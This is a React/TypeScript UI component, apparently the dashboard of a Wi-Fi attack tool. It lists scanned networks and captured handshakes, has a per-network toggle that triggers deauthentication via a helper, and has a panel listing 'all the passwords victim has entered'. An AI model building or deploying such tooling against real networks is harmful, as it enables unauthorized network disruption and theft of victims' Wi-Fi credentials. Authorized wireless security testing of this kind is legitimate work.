1import { DataTable } from "@/components/ui/data-table"
2import { network } from "@/lib/config"
3import { ColumnDef } from "@tanstack/react-table"
4import { Switch } from "@/components/ui/switch"
5import SignalBar from "@/components/ui/signal-bar"
6import { deauth } from "./helper"
7import { useState } from "react"
8import {
9 Sheet,
10 SheetContent,
11 SheetDescription,
12 SheetHeader,
13 SheetTitle,
14 SheetTrigger,
15} from "@/components/ui/sheet"
16import { Button } from "@/components/ui/button"
17
18const DesktopTable: ColumnDef<network>[] = [
19 {
20 accessorKey: "bssid",
21 header: "Wifi Networks",
22 cell: ({ row }) => {
23 return (
24 <div className="flex flex-col gap-1">
25 <div className="text-md font-medium">{row.original.ssid}</div>
26 <div className="text-sm">{row.original.bssid}</div>
27 </div>
28 )
29 },
30 },
31 {
32 accessorKey: "encryption",
33 header: "Encryption",
34 cell: ({ row }) => <div className="flex justify-center">{row.original.encryption}</div>,
35 },
36 {
37 accessorKey: "signal",
38 header: "Signal",
39 cell: ({ row }) => {
40 return <SignalBar signal={row.original.signal} />
41 },
42 },
43 {
44 accessorKey: "handshake",
45 header: "Handshake",
46 cell: ({ row }) => (
47 <div className="flex justify-center">{row.original.handshake ? "Yes" : "No"}</div>
48 ),
49 },
50 {
51 accessorKey: "deauthState",
52 header: "Deauth",
53 cell: ({ row }) => {
54 const [deauthState, setDeauthState] = useState(row.original.deauthState)
55 return (
56 <div className="flex justify-center space-x-2">
57 <Switch
58 id="deauth-mode"
59 className="w-8 h-4"
60 defaultChecked={deauthState}
61 checked={deauthState}
62 onCheckedChange={async (e) => {
63 setDeauthState(true);
64 setDeauthState(await deauth(e, row.index + 1))
65 }}
66 />
67 </div>
68 )
69 },
70 },
71 {
72 accessorKey: "password",
73 header: "Password",
74 cell: ({ row }) => {
75 return (
76 <Sheet>
77 <SheetTrigger asChild>
78 <Button variant="link">Veiw</Button>
79 </SheetTrigger>
80 <SheetContent>
81 <SheetHeader>
82 <SheetTitle>Password List - {row.original.ssid}</SheetTitle>
83 <SheetDescription>List of all the passwords victim has entered</SheetDescription>
84 </SheetHeader>
85 <div className="flex flex-col mt-5 gap-2">
86 {row.original.password.length > 0
87 ? row.original.password.map((password, index) => {
88 return (
89 <div
90 key={index}
91 className="flex break-all overflow-clip justify-start text-md font-medium gap-2"
92 >
93 {index +
94 1 +
95 ". " +
96 password.password +
97 " - " +
98 (password.valid ? "Valid" : "Invalid")}
99 </div>
100 )
101 })
102 : "No Passwords Found"}
103 </div>
104 </SheetContent>
105 </Sheet>
106 )
107 },
108 },
109]
110
111const MobileTable: ColumnDef<network>[] = [
112 DesktopTable[0],
113 {
114 accessorKey: "Details",
115 header: "Details",
116 cell: ({ row }) => {
117 return (
118 <div className="flex flex-col gap-1 items-center">
119 <SignalBar signal={row.original.signal} />
120 <div className="text-xs">{row.original.encryption}</div>
121 </div>
122 )
123 },
124 },
125 DesktopTable[4],
126 DesktopTable[5],
127]
128
129const NetworkScreen = ({ networks }: { networks: network[] }) => {
130 return (
131 <>
132 <div className="container mx-auto py-5 hidden md:block">
133 <DataTable columns={DesktopTable} data={networks} />
134 </div>
135 <div className="container mx-auto py-5 md:hidden">
136 <DataTable columns={MobileTable} data={networks} />
137 </div>
138 </>
139 )
140}
141
142export default NetworkScreen